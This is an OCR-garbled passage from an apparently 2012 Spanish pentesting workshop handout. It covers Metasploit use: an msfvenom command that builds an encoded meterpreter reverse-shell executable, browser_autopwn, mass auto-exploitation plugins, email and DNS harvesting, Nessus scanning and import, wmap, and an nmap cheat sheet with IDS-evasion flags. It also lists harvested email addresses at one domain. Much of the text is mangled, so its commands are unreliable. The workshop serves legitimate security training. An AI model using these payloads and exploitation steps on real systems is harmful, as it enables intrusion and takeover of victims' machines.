-n, --nopsled [length] Prepend a nopsled of [lehgtke on to the payload

-f, --format [format] Format to output results naw, ruby, rb, perl, pl, c, js_be, js_le,
java, dll, exe, exe-small, elf, macho, vba, vbeplebs, asp, war

-e, --encoder [encoder] The encoder to use

-a, --arch [architecture] The architecture to use

--platform [platform]

The platform of the payload

-s, --space [length] The maximum size of the rasmylpayload

-b, --bad-chars [list] The list of characters t@iavexample: "\XO0\xff'

-i, --iterations [count] The number of times to ede the payload

-C, --add-code [path] Specify an additional winB2lfcode file to include

-X, --template [path] Specify a custom executalietd use as a template

-k, --keep Preserve the template behavior andtitipecpayload as a new thread
-h, --help Show this message

Un ejemplo de ello seria lo siguiente:
MSF > ruby msfvenom —payload Windows/meterpreter/rgerse_tcp —format exe —

encoder x86/shikata_ga_nai —iterations 10 LHOST=19268.1.59 >
c:\\POFCONCE.EXE

O P&g106
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Auxiliary

En el médulo auxiliary existen diversos sistemasesplotacion, escaneo, y
descubrimiento del sistema. Son muchos para pbdecar en este taller, con lo que os
mostraré uno que me impacto bastante por su sndidl uso y su rapidez.

Se trata de Server/browser_autopwn, el cual mezliant enlace a una url
maliciosa creada por metasploit permite encontclod las vulnerabilidades del
browser y hacer una autoejecucion de los expldégolviendo una shell meterpreter al
equipo.

E bash !E E

p/s51p_imvite_spoof normal SIF In M

'server/bhrowser_autopwn . ..

Descriptian

normal

Server/browser_autopwn
Buscamos el script casearch server/browser_autopwn

Cargamos el script con userver/browser_autopwn

OiS e _ ALt pn
ndules for pattern

"server browser_autopwn ' ...

Seleccién del script

Con show options comprobamos los parametros nesgsar

o. Pé.glO?
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The URI to us ar t Toit {default is r

iliary ( ) how options

Module options:

Consulta de los parametros
Configuramos los parametros necesarios para sucsjec

A bash

Configuracion de los parametros

Ejecutamos el exploit, es entonces cuando cargaral servidor web malicioso los
modulos para ser explotados

bug with payload window

ad windo erpret

cp on port

Ejecucion del exploit
Ahora desde el equipo victima nos conectaremosraidor web malicioso

http://192.168.1.59

y voila, metasploit ha encontrado una vulnerabdida ha explotado y nos ha
devuelto nuestra consola meterpreter

o Pagl108
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tcp on port

from 1

Resultado con consola meterpreter.

o Pag109

Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2012

Search_email _collector

Uno de los modulos auxiliares que nos pueden ayadda hora de recolectar
informacion en un pentest es la recoleccion dedoseos electrénicos del dominio para
posteriormente usarlos para el envio de diversosas

&7 Development - Metasploit Console HEBR

Fle Edt View Help

s-es | hbh ee

OMATH
UTFILE

Ready 29x148

Seleccionamos el dominio a buscar y el ficheroalida donde nos volcara las cuentas
de correo encontradas.

E correos2.txt - WordPad !E m

Archiva  Edicidn Mer  Insertar  Faormato  Avuda

D= SR )

|En:nurierNew j |'IEI ﬂ |Eln::n::i|:|er'|tal

E-|-1-|-2-|-3-|-4-|-5-|-E-|-?-

b.amnsnva@natiunal.ru
anastasiafnational.ru
businessidnational.ru
e.fateevalnational.ru
hotellnational.ru
infoflnational.ru
salesflnational.ru

Para obtener Ayuda, presione F1

o. PégllO
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Enum_dns

Enumera las consultas a los servidores de DNSc&etemos el Dominio a realizar la
consulta y esperamos a que nos muestre los regdgtaominio.

Development - Metasploi nsole

File Edt Wiew Help

3-e3 DD 0@

Ready 392148

o. Péglll
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Page_ collector

Este modulo esta escrito por Spencer Mcintyre, yn@sl muestra en un rango de
direcciones, que paginas web existen en difergntedos los cuales podemos definir.

El médulo en cuestibn podemos descargarlo de
http://www.securestate.com/Documents/page collgbtor

&7 Development - Metasploit Console HEER

File Edt View Help

Ready 24x148

Lo guardaremos e@:\metasploit\imsf3\modules\auxiliary\scanner\http Unicamente
deberemos definir el parametro rhosts y nos geaerareport con las paginas
encontradas e@:\Documents and Settings\Administrador\.msf4\logs.

A r——

J [] iboruments and settings\administradort msfiiogslhtep_scan.himl R 1R ] R
frchivo  Edcion Ver Eavortos Hemamientss  Ayuda petener 50
Favorites | 55 K idos v 8| Hotmal gratuta € | ] sandboxie - Getting Started

o

&M Page Callector ‘ ‘ B - Pigna~ Sequridad v Herramientas - @~

Vi oL |A V| P

This fully functional environment running in YMware Plaver allows you to easiy try and evaluate a number of LAMP stack products without requiring any setup or configuration. This demonstration records all user
entered information for [ater reference, indeed you wil find 3 wealth of information already available within a number of the Product Recommendations starting with our supplied Documentation.

http://192.168.1.60:80/

77 Recommendations
WordPress P Authosing - Personsl Blog Php Bulletin Board P Content tanagement - Forums
MediaWiki P Auzhoning - Wi PhpMyAdmin B system Adminitration - Database

(1% 1] Mogiowii

/z0na desconaida (Mixto) ‘a - [ ®ioow -~
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Nessus

Nessus es un escaner de vulnerabilidades de lsesanpstadounidense Tenable
Network Security, sus funcionalidades son las de:

. Descubrimiento activo de redes
. Escaneo de vulnerabilidades distribuido
. Politica de auditoria

Permite la exportacién de informes en varios foamalonde posteriormente
pueden ser asociados con Metasploit (Esta s@aia que mas nos interese).

Pero primero veamos como funciona Nessus, unaes&zatjada la version para
Windows dehttp://www.nessus.org/download/nessus_download,pppcederemos a
ejecutar el paquete.

& Select Your Operating System

€« C | © www.nessus.org/oroductsfnessus/select-your-operating-system w A

2 e
Configuracién | =

Eﬂ Esta pagina estd escrita en | inglés = | £0Lieres rraducirla? | Traducir i ‘&] iNo traducir nunca del inglés J

ABOUT TENABLE

TRAIMING & CERTIFICATION SURFORT

RESOURCES

SOLUTIONS & s FARTHERS

sprint >l

L

£d »)Nessus’

To use Messus, wou need an activation code. Obtain one here.

iy

&7 wicrosoft Windows

Windows P, 2003, Vista, 2008 & 7 (32 bits)
> Product Overyiew Messus-5.0.0-i286.msi (11698 KB)

> Nessus Auditor Bundles

> Nesarls Pliiging Windaws ¥P, 2003, Vista, 2008 & 7 (84 bits)
[/ > Documentation Messus 50,0488 B4.msi (13027 KB)
: > Nessus FAQ
> Deployment Options 7
> Training . Mac 05 X
> Nassus Evaluation Mac 05X (106 and 10.7)
Messus-5.0.0dmi.0z (46523 KE)

O Linws

Péagina de descarga de Nessus

Una vez instalado accederemos al registro ennoueaso de la versibn home feed la
cual es gratuita para uso personal y donde inditaseuna direccion de correo
electronico donde nos enviaran el codigo de adtiwadel programa.

o. Pégll3
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4% Obtain an Ackivation Cade | T¢

€« o Qwww‘nessus.orgfproductsfmessusfmessusfpIL|g|ﬁsjobtaﬂan—achvahomfcode 97 A

L”L&J Esta pAdinia estd escrita en | inglés » | éQuieres raducia? [Traducir] Mo [No traduci nunca del inglés Iconﬁguracwc'm v] ®

UTIC

THE!

TRAININC ERTIFI

RE Up UT TENAELE

Messus ProfessionalFeed allows y

Froduct Overyiew

0 - |
Nesstia.liiton Bindles Using Messus at Work? Using Messus at Home? . é%?ﬂ;}?agngg ucnﬁlggéed IPaddre
Nessus Plugins AProfessionalFeed subscriptionis.  AHomeFeed subscriplion is free e Content Audit
Documentation required for all uses of Messus and for home use only. * Commercial Support
Messus FAQ outside ofthe home, e

Messus Widware Virtual Apph‘an_

Deployment Options
Training
Messus Evaluation

VW VOV VOV VW

S

ﬁ! Messus-5.0.0-356, msi = & Mostrar todas las descargas... %

Comprobado el correo donde nos envian el codigatieacion, ejecutaremos el
fichero de instalacion y seguiremos los pasos ggandican aceptando la licencia de
uso.

885 Nessus for Home | Tenable He

€« € © www.nessus.org/products/nessus fressus-homefeed
> hessus Plugins terms of use and hegin the download process.
> Documentatian
>R SUBSCRIPTION AGREEMENT
> Deployment Options
> Training that this Subscription Agreemnent will not supersede (and will be Subject o) any written =

agreements signed by both Tenable and You that contain subscription terms for Tenahle Flugins
and that specifically provide that such agreements are intended to supersede subscriplion
agreements that may be included in arders of Plugins or Mo

‘ or afthis Agreement shall be binding, unless
executed inwiiting by 3 duly autharized representative of each party 1o this Subscription
Agreement. The provisions ofthis Subscription Agreement will be deemed severable, andthe
uneniorceability of any one or more provisions will not affect the enforceabiliy of any other
provisions. In addifion, if any provision of this Guhscription Agreement, for any reasan, is declared
1o be unenforceable, the parties will substitute an enforceable provision that, ta the masimurn
extent possible under applicable law, preserves the original intentions and economic posiions of
the parties. Ma failure or delay by a party in exercising any right, power or remedy will sperate as 3
wialier ofthat right, power of remedy, and no walver will be effective unless itis inwiting and
signed by the waiving party. Ifa parly waives any right, power of remedy, the waiver will notwaive
any suceessive or oier righl, power or remedy he party may have under this Supserigtion
Agreement. Any provision ofthis Subscription Agreementthat imposes o contermplates
continuing sbligations on & partywill sunive the expiration or termination of this Subseription
Agreement, “lneluding’ and its derivatives (such as "include” and “includes”) mean including
witha Ut limitation; this term is as defined, whether or ot sapitalized in this Subscription ~
Agreement,  (Subscription Agreement vd 04.06.08)

> Nessus Evaluation

A

Important!

Nate thatyou are not eligible to subscribe to the HomeF eed Subscription if you are a corporation, a
governmental entity or any ather form of organization. (ou may not subscribe to the HomeFeed
Suhsgeription 1o Use the pluging on & computer owned by yoUr emplover or atherwise Use e pluging
for the benefit of or to perform any services for any corporation, govermmental entity or any other form of

S

L arganization. Ifyu intend ta use Tenahle Nessus commercially, you must obtain a Tenable
< |
38 Messus-5.0,04386 msi = B blostrar todss las descargas... %

o. Pégll4
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& Thank Vou for Registering! | T

€« € © www.nessus.orgproducts/nessus/nessus-pluging fthank=yoL-for+egisterng w A

E:pj Esta paging esta escrita en | inglés = | iQuieres traducirla? [Traducwr | @I INo radueir nunca del inglés Corfiguracién v| %

Enter search text

TENABLE Network Security

SER PARTNERS TRAININ TIF N R

Tenable Metwork Security offer:
Nessus ProfessionalFeed subserip
at no cost to charitable organize
& classrooms.

Tharik you for resistering your Tenable Hessus HomeF eed. An ermail
containing your activation code has just heen sentto you atthe email
address you provided

>
Please note thatthe Tenable Nessus HomeF eed is avallable for hame e

use only. Hfyou wantto use Nessus atyour place of business, you must

> Product Qverview Durchase the Nessus ProfessionalFsed. Altsmately, you may purchiase a
> Nessus Auditor Bundles iption to the Nessus Perimeter Service and scan In the cloud! The
> Messus Plugins Nessus Perimeter Service does notrequire any software download

> Documentation

> Nessus FAQ

> Deployment Options
> Training

> Maccie Fusliating

Formare onthe , and Nessus
Perimeter Senice, please visit our Distussions Forim

R E

B Nessus-5.0.0-386.msi = 8 Mostrar todaslas descargas. %

Abrir archivo - Advertencia de seguridad

tDesea ejecutar este archivo?

Fabricante: Tené le Hetwork Security Inc.
Tipo: Paguete de Windows Installer
- {Documents and Se,tfin'gs_j,BERN,ﬂ'l,Mis'.dacﬁlmpnt_o. .

Ejecutar. | Cancelar I

v F"regunta[ siempre antes de abrit este archivo:

Los archivos procedentes de Inteinat pusden ser (iles, pero sste:
tipo de archiva pueds dafiar potencialments su equipo. Salo
s, sigcute software de los fabricantes enlos que confia Cudl g5 el

riesgo?

i Tenable Nessus

Welcome to the InstallShield Wizard for
' Tenable Nessus

* The InstallShieldiR} Wizard will inskall Tenable Messus on ywaur
computer, To continue, click Mext,

WARMIMNG: This program is prokected by copyright law and
international treaties,

= Barl

Pagl15
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Tenable Nessus - InstallShield Wizard

- InstallShield Wizard Completed

* The InstallShield Wizard has successfully installed Tenable
| MNessus, Click Finish to exit the wizard,

= Back I Finish I Carice]

| O o s
€ © C  Xpupsi/focahost:a834 egster/ IR
A nessu

Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:

* High-speed vulnerability discovery, to determine which hosts are running which services

* Agentless auditing, to make sure no host on your network is missing security patches

* Compliance checks, to verify and prove that every host on your network adheres to the security policy you defined
¢ Scan scheduling, to automatically run scans at the frequency you select

* And more!

During the next steps, we are going to create an administrative account and register your scanner with a Plugin Feed, which we will
download. You will need an Activation Code before you can use Nessus; if you do not have an Activation Code already, please go to

http://www.nessus.org/register/ to get one now.

Get started >

T e = N

€« € | & s focahost:a834 fegister / | X

First, we need to create an admin user for the scanner. This user will have administrative control on the scanner; the admin has the
ability to create/delete users, stop ongoing scans, and change the scanner configuration.

Login: |ADMIN

Password: .

Confirm Password: .

< Prev Next >

Because the admin user can change the scanner configuration, the admin has the ability to execute commands on the remote host.
Therefore, it should be considered that the admin user has the same privileges as the "root” (or administrator) user on the remote host.

0
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2 o vou o Redisteriat 17 1 me - =

-
€ - C b locahostes4jregister/

%* A

As information about new vulnerabilities is discovered and released into the public domain, Tenable's research staff designs programs
("plugins”) that enable Nessus to detect their presence. The plugins contain vulnerability information, the algorithm to test for the
presence of the security issue, and a set of remediation actions. To use Nessus, you need to subscribe to a "Plugin Feed". You can do so by
visiting http://www.nessus.org/register/ to obtain an Activation Code.

* To use Nessus at your workplace, purchase a commercial ProfessionalFeed

¢ To use Nessus at in a non-commercial home environment, you can get a HomeFeed for free
¢ Tenable SecurityCenter users: Enter 'SecurityCenter' in the field below

* To perform offline plugin updates, enter 'offline' in the field below

Activation Code

Please enter your Activation Code: |

Optional Proxy Settings

< Prev Next >

[ 2 ik vou for Regitering! 17\ 16 - =

[l
C | i s localhost: 8834 register /#

A

Successfully registered the scanner with Tenable.
Successfully created the user.

Next: Download plugins >

INTECO-CERT : 1 missatges nous ©o

Virus més detectados inas 2¢h. (22/03/2012 11:04)

Bernabé Mufioz (bmm@reus.tinet.org)
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Ahora desde Nessus cliente accederemos a la coNstiale la aplicacion

/2 Nessus - Windows Internet Explorer

@-\,, vo [® ecabest =112 Ervor de corticada || 55 42| X | [P ook 2l-
Archiva  Edicién  ver Favoritos  Herramientas  Ayuda

S Favoritos | 5 [l 5tos < oeridos ~ | Hotmail gratuito 8 | Goleifs e Wiet Sice » @) Sandboxie - Getting Started

1 Nessus Xy - B) - 0 dh - Pégna- Seouridsd v Herramientas - G- 7

Nessus’

NN -

Password [l |

Log In

Listo [T T T T [ @ mternet [ - [®i00% -

Inicio Cliente de Nessus

Introduciremos el usuario y la contrasefia del Adstiador creado
anteriormente.
Esta pantalla consta de cuatro apartados de desazhaierda:

Uses
Policies
Scans
Reports

La primera de ellas nos muestra los usuarios dae eseados.

Las Policies nos permiten crear la configuracion de la selemsode los
elementos a escanear creando un perfil.

Los scansdesde aqui realizaremos los escaneos a otros sglopde queramos
consultar sus vulnerabilidades.

Como practica realizaremos un escaneo para enctagreulnerabilidades
Nos posicionaremos en la pestafia de scans y puissrel botén add para crear un
nuevo escaneo.

. Pag118
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{2 Hessus - Windows Internet Explorer [ o] =]
ﬁ\_ s [® 00 lacshost e jLa;i‘ Error de certificade || [ || #2 || X [-ii:;,g:‘:, P~
Archivo  Ed ramiertas  Ayuds

S Favoritos | 5 [0 Sios sugeidos ~ 82 Hotmall gratute £ Galeris de ek Sice = @) Sandboxie - Getting Started

8 Hessus T - B - L d= - Pagina~ Sequridad - Herramientas - @he

ADMIN | Help | About | Log out

@ Add Scan

LELLER ESCANEOQ

265" Internal Network Scan v

ELELRERCEIEE 192.168.1.80

Targets Fiie

Cancel Launch Scan

Lista [T T T T @ mteret [ - [®Rioo% ~ 4

Le daremos un nombre al escaneo, seleccionarenmdity que queramos y en scan
Targets el equipo a analizar, lanzaremos el scarLaonch scan.

/2 Hessus - Windows Internet Explorer

@3 = [& 0 tocahost ][5 o de certfcaso || 55 (42| | [ oeae 2~

Archiva  Edidién  Ver Favortos Herramiertas  Ayuda

e Favoritos | 54 [ Sios sueridos = @) Hotmall gratuta ] G e et Siee = @) Sandboie - Gekting Started
ADMIN | Help |Abm| | Log out
Reports
@ Upioad Report @ Browse @ compare @ Download @ Delete

[rame = e e

POFCONCEPT Completed Mar 14, 2012 10:27

[Listo | T |emntere [4a - [®io0% -

Esperaremos hasta que el status pase a Complaietento en el que habrd finalizado
el proceso.

Si le damos doble click encima del escaneo en pooges muestra una pantalla con las
vulnerabilidades que va encontrado.

o. PégllQ
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Hessus - Windows Internet Explorer [-ofx]

—

5w [®00 lecahost i) |58 v de certicarts || 4| X

CArchiva Edcin Ver Favoritos Henamientas  Avuda
S Favorites | 52 [
& Messus
. EHT ADMIN | Help | Aout | Log out

Reports

s+ ] Hotmail gratuto 2] = v ) Sandboxie - Getting Started

%5 = E) - [0 b - Pégina - Sequridad - Heramientas - @@=

ESCANEOQ  Vuinerability Summary | Host Summary
Running - Launched: Mar 22, 2012 11364 |

| Filters NoFilters @ Add Filter 2 Clear Filters

I 11219 ; Nessus SYN scanner |

Microsaft Windows SMB Service Detection Windows.
Windows NetBIOS / SMB Remote Host Information Disclosure Windows
Microsoft Windows SMB Log In Possible Windows:

Microsoft Windows SMB Nativel Remote System i i Windows

[Lista JOS o

| Internet [7a - [®i00% - 4

Y si pulsamos doble click sobre el Identificadorl gdugin, nos mostrara una
descripcion detallada de la posible vulnerabilidad.

Hessus - Windows Internet Explorer [_ o] %]
e[S ecshost || v de certficadn || 2[4 | 2 L~
Archivo  Edicién  Wer Favorites  Herramierkas  Ayuda
i Favoritos | 5 L= -~ & Hotmail gratutta & Co = = | Sandboxe - Getting Started
& Hessus 4 ~ B - [ e - Pigina - Seouridad - Herramientas - @@l

. Nessus ADMIN | Help | About | Log eut

Reports

ESCANEOQ  Vuinerability Summary | Host Summary
Running - Launched: Mar 22, 2012 11:54 |
| Filters NoFillers @ Add Fliter e Clear Filters

Plugin ID: 35362 Port / Service: cifs (445/tcp) Severity: Critical

Plugin Name: MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code Execution (...

Synopsis: It is possible to crash the remote host due to a flaw in SMB.

Deseription
The remote host is affected by a memory corruption vulnerability in SMB that may allow an attacker to

execute arbitrary code or perform a denial of service against the remote host.

Solution
Microsoft has released a set of patches for Windows 2000, XP, 20083, Vista and 2008 :

htp: i ? it i 001.mspx
Risk Factor: Critical

CVSS Base Scare
10.0 (CYSSZ#AV:N/AC:L/IAuN/C:C:CIA:C)

cve

CVE-2008-4834
CVE-2008-4835
CVE-2008-4114

|®100% ~ 4

Listo | T T T @ mtemet

Escaneando en Nessus

Report una vez realizado el scan podremos consultar coimforme el cual
podremos exportar en formato xml o nbe para imgortamn metasploit.

° PéngO
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Zate Berg ha creado un plugin para Metasploit desdrial podemos realizar
escaneos de vulnerabilidades mediante Nessusasmogho de msfconsole e incluirlos
directamente a la base de datos de metasploispaexplotados.

Como funciona el Plugin de Zate Berg

Msf> load nessus w

Carga el Plugin

Msf> nessus_help w

r in Ne

from a re

Ayuda nessus

Msf> nessus_connect user:pass@Iocalhost pass

Conecta con el servidor Nessus.

Development - Metasploit Console

File Edit Wew Help

-3 hh e e

T

Gx95

Conecta con nessus

0
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Msf> nessus_policy_list w

Muestra las politicas creadas en nessus.

Autenticacion en Nessus

Msf> nessus_scan_new -h

Realiza un nuevo escaneo de vulnerabilidades

= Development - Metasploit Console

File Edit Wew Help

pormwetasploit 192

opormetasploic 192, 165.1.50

Ready %95
Escanear en Nessus

Msf> nessus_scan_new 1 nombre del report 192.888.1

=+ Development - Metasploit Console

File Edit ‘Wiew Help

tasploit™ and scanning 192,

Ready 9%95
Lista de informes

Msf> nessus_scan_status

Muestra el estado de escaneo.

o. PéngZ
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== Development - Metasploit Console !. u

File Edit View Help

2012 running 0O

Ready 17x138

Comprobar el estado del escaneo

Cuando ha finalizado el scan de nessus es horaafiear la importacion del report a
nuestra base de datos de metasploit

Msf> nessus_report_get ID_report

Importa el reporte generado en nessus a la basatoe de metasploit

[== Development - Metasploit Console !. m

File Edit Wiew Help

3-&5 hh|ee

Ready 7x138

Cuando ya se ha realizado la importacion, podremmssular los hosts
escaneados, con los servicios detectados y lasrabiidades existentes en cada
equipo

Msf> hosts

== Development - Metasploit Console HEER

Fle Edt Wew Help

s-em hh|loe

Ready 13x138

Hosts encontrados

Msf> vulns

Nos muestra las vulnerabilidades que se ven afestad

o. Pé.g:|.23
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Development - Metasploit Consol

File Edt View Help

s-ems | hbhloee

= h_rmpd_
d.html, URL

Ready 272148

Vulnerabilidades encontradas

Msf> services

Nos muestra los servicios abiertos en el equipo

Fle Edt View Help

3-em | hbhloe

Ready 10x148

Servicios encontrados

Atencién: Con la nueva version de metasploit el coando db_autopwn
ha dejado de mantenerse, por lo que no funciona.

MANTENGO ESTE APARTADO PORQUE ME PARECIA
INTERESANTE QUE VIERAIS LA POTENCIA DE ESTE
COMANDO.
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Msf> db_-autepwn-x —t

R e

Explotacién masiva

Msf> db_-autepwni-X —t —e -r

Explotara de forma masiva las vulnerabilidades etmadas.

Sesiones abiertas con meterpreter

NO ESTA TODO PERDIDO vy gracias a la aportacion de darkoperator teneimos
plugin muy similar que se puede descargar de
https://github.com/darkoperator/Metasploit-Pludohgib/master/auto_exploit.rb

Lo descargamos y lo guardamos en C:\metasploit\pisfins\auto _exploit.rb, desde la
consola ejecutamos “load auto_exploit”

0
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[+ Development - Metasploit Console

File Edit View Help

3 |0 @
445

0~ €
z 1.t 35}

Ready 7148

Convuln_exploit —h vemos las opciones que tiene disponibles el plugin

[ Development - Metasploit Console

Fle Edit View Help

3-&3 hh ee

when runnin ploits.

Hinimum
Do nat lim

Ready 16x146

Con vuln_exploit empieza el proceso de explotarviaserabilidades disponibles y
mostrarnos una sesion meterpreter por cada vulfidestbencontrada.

Development - Metasploit Console u

Fle Edit View Help

4:52 +0100

Ready 16x146

o. Pé.g].26
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Con el fin de facilitarnos la busqueda de informdaccon los resultados de
Nessus 0 nmap, 0s muestro una herramienta que methamportacion de los ficheros
xml de Nexus y de nmap, nos permite tener la ind@ion clasificada y ordenada con la
posibilidad de crear filtros personalizados, la @sed descargar de
http://www.woanware.co.uk/news/networkscanvieweiOvd/ , es gratuita y muy
intuitiva.

8 notwarkcantiewer HEE

File  Tooks  Help

| Tvpe ~ Host - Port - Service - Search |

Flesuls | Fitere | Host Surmary | Log |

Twpe | Host [Fot_ [Piotocol [State [ Seice Severty | PluginID [ Plugnbame | Plugin Famil =

Inpu Folcer |
Output Folder [ |
oK Cancel

< g =
inicio| [ 2 wetw.. 4. <] Eretw... | Hcwse..| wsvon [0 @ © © R

CLSHDE =

Solo tenemos que indicarle en input folder la darpende tenemos los ficheros
de Nexus o nmap en xml, y en output folder la darg®wnde queremos guardar los
ficheros generados.

Una vez esta cargada la informacion podemos procediétrar por host, por
servicio, por puerto...

& notworksconviewer BEE

File  Tooks  Help

| Tvpe ~ Host - Port = Servics - Search |

Flesuits | Fiters | Host Summan | Log |

Twpe | Host [Pot_ [Puotocol [ State [ Service [ severiy_| Pugin D [ Pugnbame [ Pugnfia =
Nessus 192.168.1.80 139 tep. st

[Nescus | e ) 7 [ P 7 S [ )
Nessus 1211 Copy > msidp 0 [

Messus Eaa 2 18405 Microsoft Windo. Window.
Messus Type 1 30218 Teminal Service.

Messus Host 1 10940 Windows Termin..  Window
Messus k! 49286 MS10-061: Wuln. Window
Messus Part. 3 42118 MS09-062: Yuln. Window.
Messus 3 35070 MS08-071: Wuln. Window
Nessus Protocol 3 33133 MS08.031: Cum...  Window
MNessus St 3 49219 MS10.061: Vadn...  Window
Messus 3 48405 MS10-054: Wuln. Window.
Nessus Severity 3 47556 MST0012: V.. Window
Hessus Plugn D 1 10398 Microsoft Windo..  Window
Nessus 192168180 445 tep 1 10880 SME UseHost...  Window
MNessus 192168180 445 fep  Plugin Famiy 1 10859 SME LsaQueryd..  Window
Nessus 192168180 445 e 3 45020 MS10018:Vuln...  Window
MNessus 192168180 415 tep SRS 3 23876 Adobe Reader <. Window
Nessus 192168180 445 tp  Product 3 39355 Adbe Reader <. Window
MNessus 192168180 445 tep 3 5821 Adsbe Reader <. Window
Nessus  192168.1.80 45 tep elcen 3 49173 Adobe Reader .. Window
MNessus 192168180 445 tep ofs 3 47165 Adobe Reader <. Window
Nessus 192168180 445 tep ofs 3 33256 Adbe Reader <. Window
MNessus 192168180 445 ep ofs 3 g5 Adsbe Reader <. Window
Nessus 192168180 445 en ofs 3 8375 Adobe Reader <. Window
MNessus 192168180 445 tep ofs 3 45505 Adbe Reader <. Window
Messus 192168180 445 tep o 3 50514 Adube Feader <. Window
Nessus 192168180 445 tep o 3 e Advbe Reader <. Window
Nessus 132168180 445 tep o 3 38746 AdsbeReadera Windon
Messus 192168180 445 tep o 3 42120 Adube Reader <. Window
Messus 192168180 445 tep o 1 20836 Adube Feader .. Window
Nessus 192168180 445 tep o 3 46312 M5 10030 Yuln... Window
Nessus 132168180 445 tep o 3 48281 MS10054:Vuln.. Window
Messus 192168180 445 tep o 1 30587 “Windons Secur.. Window
Messus 192168180 445 tep o 3 45379 ME10016: Cum... Window
Nessus 192168180 445 tep o 3 46539 M510052: Yuln.. Window
Nessus 132168180 445 tep o 3 35341 MS08-015: Cum... Window
Messus 132168180 445 tep o 3 gt MS10054: Cum.. Window
Nessus 192.168.1.80 445 tep cifs kS 48230 M510-053: Cumn. “wfindow
Nessus 192.168.1.80 445 tep cifs 3 43348 MS10-071: Cumn. Ywfindow
Nessus 192.168.1.80 445 tep cifs 3 34744 MS08-063: Yuln. “wfindow
Nessus 192.168.1.80 445 tep cifs 3 44423 MS10-013: Yuln. Yfindow
Nessus 192.168.1.80 445 tep cifs 3 42107 MS03-051: Yuln. “wfindow ¥
< | > =

Loadsd 624 results

@iiicio| [z eotw... 4Ex.. o Brew.. | Heuse.| wsvon B0 @ © @ SR FE

CUESHDN

Podemos generar informes con el resultado de lsuttan
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Escaner Web Wmap

Wmap es un escaner de vulnerabilidades web crepddiade la herramienta SQLmap
y por el cual nos permite auditar vulnerabilidades.

Para poder realizar un escaneo inicialmente tenemmsener el host destino en la base
de datos.

Cargamos el médulo wmap con:
Msf >load wmap

Creamos un site con wmap_sitehtp://192.168.1.79

Wmap_sites —| Lista los sitios disponibles

Wmap_sites —s equipo Muestra la estructura dsitios

Wmap_targets -t equipo Definimos el equipo obea analizar
Ejecutamos wmap_run —t Muestra los modulos hatdiis

Ejecutamos wmap_run —m modulo Solo ejecuta el nwoskelleccionado
Ejecutamos wmap_run —e Realiza el ataque conthjetivo

Ejecutamos wmap_run —c Borra los objetivos creados

== Development - Metasploit Console l.u

File  Edit View Help

3-&5 | hHh e e

Ready 40x149

o. Pé9128
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Os muestro la herramienta como parte de nuestrisiande vulnerabilidades
dentro de metasploit ya que existe un modulo deoitapion en el que podemos
incorporar los resultados de nmap a la base de dato

Nmap es un programa de codigo abierto que sirva péectuar rastreo de
puertos escrito originalmente por Fyodor Vaskovige usa para evaluar la seguridad
de sistemas informaticos, asi como para descubnicgds o servidores en una red
informatica. (Definicién segun Wikipedia)

Podriamos decir que nmap es la navaja suiza dgprdana que busque puertos
y servicios, sin a veces hacer mucho ruido.

El uso de nmap hace necesario un extenso mancaleho es mi intencién, ya
gue seria mas largo de lo deseado, os mostranéaaiiaccon las opciones mas comunes
y a partir de ahi, dependera de vosotros el nigedahocimiento de la herramienta que
querdis llegar a obtener.

Deteccion de servicios v versiones

-sV': deteccion de la version de servicios —all-ports no exchur puertos
--version-all probar cada exploracion

--version-trace rastrear la actividad del analisis de version

Especificacion de objetivos

Direcciones I, nombres de sistemas, redes, ete

Ejemplo: scanme nmap.org, microsoft.com/24, 192.165.0.1; 10.0.0-255.1-254
-iL fichero lista en fichero -iR n elegir objetivos aleatoriamente. 0 munca acaba
—exclude —excludefile fichero exchur sistemas desde fichero

-0 getivar deteccion del 5. Operativo --fazzy adivinar deteccion del SO
Disciubinimedie de stemis --max-0s-tries establecer nimere maximo de mtentos contra ¢l sistema objetivo
-PS ntep syn ping -PAnping TCP ACK -PU n ping UDP —— . .
-PM Netmask Req PP Timestamp Reg _PE Echo Reg Evasion de Firewalls'IDS , o 3
-sL analisis de listado -PO ping por protocolo -PN No hacer ping -f Fagmentar paguetes -D dLd2 e]:;ubru andlisis con seduelos
-n 0o hacer NS -R Resolver DNS en todos los sistemas objetivo -Sip falae?: diveccin ofigest I }iuel:t{\_ nr{gen
—-traceroute; trazar rita 2l sistena (para topologias de red) --randomize-hosts orden —spoof-mac mac cambiar MAC de ongen

- i ing. 1 PP -PM -P5443 P ; A i
<P realizar ping, igual que con —PP —PM -P5443-PASO Pyivdinetras de: nivel de-detalle v depuraibu
-v Incrementar el nivel de detalle ~-Feas0N MOLIVOS POT Sistema ¥ puerto

Técnicas de analisis de puertos -d (1-9) establecer nivel de depuracién  --packet-trace ruta de paguetes

-5 analists TCP SYN - T analisis TCP CONNECT -sU andlisis UDF
-sY andlisis SCTP INIT ~ Z COOKIE ECHO de SCTP -5} protocolo IP

- : s 7 Opciones interactivas e
W et fGE FB -k X NULL FINOMAS s TER ACI viV aumentar/disminur nivel de detalle del analisis = ’”:f}f_\_

. . . /D aumentar'disminuir nivel de depuracion ;
Especificacion de puertos v orden de anilisis p/P activar/desactivar traza de paguet
-p B-m rango -p— todos los puertos -p n,m,z especificados
-p Uin-mz Tinan Upara UDP. T para TCP -F rapido. loz 100 conmnes Otras opciones
—top-ports n analizar los puertos mas utihzados -1 no aleaterio --resume file continuar analisis sbortado {tomando formatos de salida con-oN o -0G)

-6 activar anélisis IPV6

- " m -A agresivo. igual que con -0 -5V -sC —traceroute
Duracion v ejecucion T ey

SecurityByDefault.com

-T0 paranoico -T1 sigiloso -T2 sofisticada Seiiots
-T3 normal -T4 agresivo -T5 locura 2011pts 3

A -sC realizar analisis con los scnpts por defecte —seript file gjecutar senpt (o todos)
—min-hostgroup —max-hestgroup . - 2

i ; --script-args 0=y proporcionar arsumentos
—min-rate —maxrate : Sl -

3 : . --seript-trace mostrar comunicacion entrante y saliente
—min-parallelism —max-parallelism -
—min-rtt-timeout —max-rit-timeout --initial-rtt-timeont Formatos de salida
—max-refries —host-timeout --sean-delay -oN normal -oX XML -oG programable  —oA todos
Ejemplos

Analisis rapido nmap -T4 -F NJD?VFI 5 o; )}
Anilisis vipido (puerto 80) nmap -T4 --max 1it_timeout 200 —-initial rtt timeout 150 --min hostgroup 512 --max retries 0 -n PO p80 : 5
Anilisiz de ping nmap -sP -PE -PP -P321.23 25 80.113.31339 -PAR0, 113 443.10042 —source-port 53 -T4

